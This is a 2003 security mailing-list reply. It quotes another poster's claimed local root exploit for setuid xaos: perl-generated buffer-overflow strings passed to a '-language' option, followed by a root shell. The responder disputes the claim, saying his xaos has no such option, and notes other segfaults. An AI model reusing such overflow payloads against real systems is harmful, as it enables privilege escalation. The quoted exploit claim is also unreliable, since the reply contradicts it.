Re: BAZARR LOCAL ROOT AGAIN. HI GUYS. DONT READ THIS

From: Benjamin A. Okopnik (ben_at_callahans.org)
Date: 06/06/03

  • Next message: JeiAr: "Critical Vulnerabilities In Max Web Portal"
    Date: Fri, 6 Jun 2003 12:56:15 -0400
    To: "bazarr@ziplip.com" <bazarr@ziplip.com>
    
    

    On Thu, Jun 05, 2003 at 03:27:23PM -0700, bazarr@ziplip.com wrote:

    [ snipping for context ]

    > c00l@debian:~/code/dump% /usr/bin/xaos -language `perl -e 'print "A"x20049'`
    > Segmentation fault
    >
    > [c00l:dump]$ /usr/bin/xaos -language `perl -e 'print "\x45\xfe\xff\xbf"x8096'` -display AA
    > Segmentation fault
    > [c00l:dump]$ /usr/bin/xaos -language `perl -e 'print "\x45\xfe\xff\xbf"x8096'` -display AAA
    > Segmentation fault
    > [c00l:dump]$ /usr/bin/xaos -language `perl -e 'print "\x45\xfe\xff\xbf"x8096'` -display AAAA
    > sh-2.05a# id ; uname -a
    > uid=1001(c00l) gid=1001(c00l) euid=0(root) groups=1001(c00l)

    My version of "xaos" (v3.1, Debian "unstable") does not have a
    "-language" option, and the above will simply generate the "help text"
    (the list of available options.) It does, however, segfault on the the
    "-nogui" option and the "-render" option when a non-existent file name
    is given as an argument.

    Ben Okopnik
    -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
    No problem is so formidable that you can't just walk away from it.


  • Next message: JeiAr: "Critical Vulnerabilities In Max Web Portal"